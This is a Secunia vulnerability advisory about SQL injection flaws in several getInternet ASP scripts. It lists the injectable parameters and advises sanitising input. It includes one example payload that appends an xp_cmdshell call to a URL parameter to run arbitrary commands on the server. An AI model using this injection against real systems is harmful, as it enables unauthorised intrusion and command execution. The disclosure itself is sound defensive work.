Secunia

Criolabs has reported some vulnerabilities in getInternet, which can be exploited by malicious people to conduct SQL injection attacks and potentially compromise a vulnerable system.

The problem is that the "welcome.asp", "checklogin.asp", and "lostpassword.asp" scripts fail to sanitise input passed to certain parameters before it is used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and potentially gain system access.

The following parameters are reportedly affected:
http://[victim]/welcome.asp?page=content_search.asp&search=[SQL]
http://[victim]/welcome.asp?page=content_display.asp&id=[SQL]&category=[SQL]
http://[victim]/welcome.asp?page=category_display.asp&category=[SQL]
http://[victim]/welcome.asp?page=contact_form.asp&id=[SQL]
http://[victim]/checklogin.asp (username: [SQL], password: [SQL])
http://[victim]/lostpassword.asp (Name: [SQL], Surname: [SQL], ID Number: [SQL])

Successful exploitation may potentially allow execution of arbitrary commands on the system.

Example:
http://[victim]/welcome.asp?page=content_display.asp&category=2&id=2; exec master..xp_cmdshell '[command]'--

Solution
Edit the source code to ensure that input is properly sanitised.
Further details available in Customer Area

Provided and/or discovered by
Criolabs

Original Advisory
http://www.criolabs.net/advisories/getinternet.txt

Deep Links
Links available in Customer Area